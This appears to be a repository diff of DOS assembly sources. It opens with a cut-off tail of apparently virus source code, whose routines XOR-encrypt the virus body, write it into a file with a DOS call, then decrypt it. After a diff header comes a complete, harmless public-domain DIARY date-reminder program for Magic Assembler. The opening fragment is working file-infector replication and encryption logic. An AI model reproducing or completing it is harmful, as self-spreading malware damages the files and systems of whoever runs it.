rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
+499
View File
@@ -0,0 +1,499 @@
; +---------------------------------------------------+ ;
; | Sample program DIARY for use with Magic Assembler | ;
; +---------------------------------------------------+ ;
mov ah,09
mov dx,offset(headtxt)
int 21
cmp byte [0081],0d
jne @1
mov dx,offset(syntax)
jmp error
@1 cmp byte [0082],'A'
je @2
cmp byte [0082],'a'
je @2
cmp byte [0082],'!'
jne @10
jmp @f
@10 cmp byte [0082],'D'
je @1a
cmp byte [0082],'d'
je @1a
jmps @1b
@1a jmp @1d
@1b cmp byte [0082],'O'
je @1e
cmp byte [0082],'o'
je @1e
jmps @29
@1e jmp @1f
@29 cmp byte [0082],'S'
je @2c
cmp byte [0082],'s'
je @2c
jmps @2d
@2c jmp @2e
@2d mov dx,offset(unpar)
jmp error
; Add item
@2 mov ah,3c
mov cx,0020
mov dx,offset(tempnam)
int 21
mov thandle,ax
mov ax,3d00
mov dx,offset(datanam)
int 21
jc @3
;Copy the data
mov bx,ax
@5 mov ah,3f
mov cx,0003
mov dx,offset(date)
int 21
cmp ax,cx
jne @4
mov ah,3f
mov cx,0001
mov dx,offset(tsize)
int 21
mov ah,3f
mov ch,0
mov cl,tsize
mov dx,offset(txt)
int 21
push bx
mov ah,40
mov bx,thandle
mov ch,00
mov cl,tsize
add cx,0004
mov dx,offset(date)
int 21
pop bx
jmps @5
;Close and delete DIARY.DAT
@4 mov ah,3e
int 21
mov ah,41
mov dx,offset(datanam)
int 21
;Ask for data
@3 mov ah,09
mov dx,offset(askdate)
int 21
@9 call readdat
mov ah,09
mov dx,offset(message)
int 21
mov tsize,00
mov di,offset(txt)
@e mov ah,00
int 16
cmp al,0d
je @c
cmp al,08
jne @d
cmp tsize,00
je @e
mov ah,09
mov dx,offset(bs)
int 21
dec di
dec tsize
jmps @e
@d inc tsize
stosb
mov ah,0e
mov bx,0007
int 10
jmps @e
;End of lineread
@c mov ah,40
mov bx,thandle
mov ch,00
mov cl,tsize
add cx,0004
mov dx,offset(date)
int 21
mov ah,3e
int 21
mov ah,56
mov dx,offset(tempnam)
mov di,offset(datanam)
int 21
int 20
;Look for warning
@f mov ah,2a
int 21
sub cx,076c
mov byte [offset(cdate)],dl
mov byte [offset(cdate)+1],dh
mov byte [offset(cdate)+2],cl
@1c mov ax,3d00
mov dx,offset(datanam)
int 21
jnc @11
mov dx,offset(datanf)
jmp error
@11 push ax
mov ah,3c
mov cx,0020
mov dx,offset(tempnam)
int 21
mov thandle,ax
pop ax
mov bx,ax
@19 mov ah,3f
mov cx,0003
mov dx,offset(date)
int 21
cmp ax,cx
jne @12
mov ah,3f
mov cx,0001
mov dx,offset(tsize)
int 21
mov ah,3f
mov ch,00
mov cl,tsize
mov dx,offset(txt)
int 21
mov si,offset(cdate)
mov di,offset(date)
mov cx,0003
@13 cmpsb
jne @14
loop @13
call delit
cmp al,01
jne @14
jmps @19
@14 push bx
mov ah,40
mov bx,thandle
mov ch,00
mov cl,tsize
add cx,0004
mov dx,offset(date)
int 21
pop bx
jmps @19
;End of file
@12 mov ah,3e
int 21
mov ah,41
mov dx,offset(datanam)
int 21
mov ah,3e
mov bx,thandle
int 21
mov ah,56
mov dx,offset(tempnam)
mov di,offset(datanam)
int 21
int 20
;Delete item
@1d mov ah,09
mov dx,offset(wdel)
int 21
call readdat
mov si,offset(date)
mov di,offset(cdate)
mov cx,0003
@3c movsb
loop @3c
jmp @1c
;Delete old dates
@1f mov ah,2a
int 21
mov bx,offset(cdate)
mov [offset(cdate)],dl
mov [offset(cdate)+1],dh
sub cx,076c
mov [offset(cdate)+2],cl
mov ax,3d00
mov dx,offset(datanam)
int 21
jnc @21
mov dx,offset(datanf)
jmp error
@21 push ax
mov ah,3c
mov cx,0020
mov dx,offset(tempnam)
int 21
mov thandle,ax
pop bx
@25 mov ah,3f
mov cx,0003
mov dx,offset(date)
int 21
cmp ax,cx
jne @22
mov ah,3f
mov cx,0001
mov dx,offset(tsize)
int 21
mov ah,3f
mov ch,00
mov cl,tsize
mov dx,offset(txt)
int 21
mov si,offset(date)+2
mov di,offset(cdate)+2
mov cx,0003
@23 std
cmpsb
cld
ja @20
jb @24
loop @23
@24 call delit
cmp al,01
je @25
;Still future
@20 push bx
mov ah,40
mov bx,thandle
mov ch,00
mov cl,tsize
add cx,0004
mov dx,offset(date)
int 21
pop bx
jmps @25
;End of file
@22 mov ah,3e
int 21
mov ah,3e
mov bx,thandle
int 21
mov ah,41
mov dx,offset(datanam)
int 21
mov ah,56
mov dx,offset(tempnam)
mov di,offset(datanam)
int 21
int 20
;Show dates
@2e mov ax,3d00
mov dx,offset(datanam)
int 21
jnc @2f
mov dx,offset(datanf)
jmp error
@2f mov bx,ax
@3b mov ah,3f
mov cx,0003
mov dx,offset(date)
int 21
cmp ax,cx
jne @30
mov ah,3f
mov cx,0001
mov dx,offset(tsize)
int 21
mov cl,tsize
mov ch,00
mov ah,3f
mov dx,offset(txt)
int 21
mov si,ax
mov byte [offset(txt)+si],'$'
mov al,date
call shownum
push bx
mov ah,09
mov dx,offset(slash)
int 21
mov al,[offset(date)+01]
call shownum
mov ah,09
mov dx,offset(slash)
int 21
mov al,[offset(date)+02]
call shownum
mov ah,09
mov dx,offset(space)
int 21
mov ah,09
mov dx,offset(txt)
int 21
mov ah,09
mov dx,offset(crlf)
int 21
pop bx
jmps @3b
@30 mov ah,3e
int 21
int 20
delit push bx
mov al,date
call shownum
mov ah,09
mov dx,offset(slash)
int 21
mov al,[offset(date)+01]
call shownum
mov ah,09
mov dx,offset(slash)
int 21
mov al,[offset(date)+02]
call shownum
mov ah,09
mov dx,offset(space)
int 21
mov bh,00
mov bl,tsize
mov byte [offset(txt)+bx],'$'
pop bx
mov ah,09
mov dx,offset(txt)
int 21
mov ah,09
mov dx,offset(delete)
int 21
call flag
push ax
mov ah,09
mov dx,offset(crlf)
int 21
pop ax
ret
error mov ah,09
int 21
int 20
flag push bx
@16 mov ah,00
int 16
mov ah,0e
mov bx,0007
int 10
cmp al,'Y'
je @15
cmp al,'y'
je @15
cmp al,'N'
je @17
cmp al,'n'
je @17
mov ah,09
mov dx,offset(bs)
int 21
jmps @16
@15 mov al,01
jmps @18
@17 mov al,00
@18 pop bx
ret
readdat mov di,offset(date)
@2a call readnum
cmp al,1f
jna @a
mov ah,09
mov dx,offset(backerr)
int 21
jmps @2a
@a stosb
mov ah,09
mov dx,offset(slash)
int 21
@2b call readnum
cmp al,0c
jna @8
mov ah,09
mov dx,offset(backerr)
int 21
jmps @2b
@8 stosb
mov ah,09
mov dx,offset(slash)
int 21
call readnum
stosb
mov ah,09
mov dx,offset(crlf)
int 21
ret
;AL=NUMBER
shownum push ax
push bx
mov ah,00
mov bl,0a
div bl
cmp al,00
je @31
push ax
mov ah,0e
add al,30
mov bx,0007
int 10
pop ax
@31 mov al,ah
add al,30
mov ah,0e
mov bx,0007
int 10
pop bx
pop ax
ret
readnum mov ah,00
@6 int 16
cmp al,30
jb @6
cmp al,39
ja @6
mov ah,0e
mov bx,0007
int 10
sub al,30
mov bl,0a
mul bl
mov bl,al
mov ah,00
@7 int 16
cmp al,30
jb @7
cmp al,39
ja @7
mov ah,0e
push bx
mov bx,0007
int 10
pop bx
sub al,30
add al,bl
ret
backerr db 07 08 08 '$'
bs db 08 20 08 '$'
crlf db 0a 0d '$'
datanam db 'DIARY.DAT' 00
datanf db 'DIARY.DAT not found' 0a 0d '$'
delete db 0a 0d 'Delete this entry? $'
askdate db 'Enter date (DD/MM/YY): $'
headtxt db 'Diary - Written by Bert Greevenbosch for Magic Software' 0a 0d
db 'Public Domain Version' 0a 0d '$'
message db 'Enter message to display on that date: $'
slash db '/$'
space db ' $'
syntax db 0a 0d 'Syntax: DIARY [A/D/O/S/!]' 0a 0a 0d 'A = Add' 0a 0d 'D = Delete' 0a 0d 'O = Delete all decayed dates' 0a 0d 'S = Show all dates' 0a 0d '! = Warn' 0a 0d '$'
tempnam db 'DIARY.TMP' 00
unpar db 'Unknown parameter' 0a 0d '$'
wdel db 'Enter date to delete from (DD/MM/YY): $'
-
cdate ds 3
thandle dw ?
;the record
date ds 3
tsize db ?
txt ds 100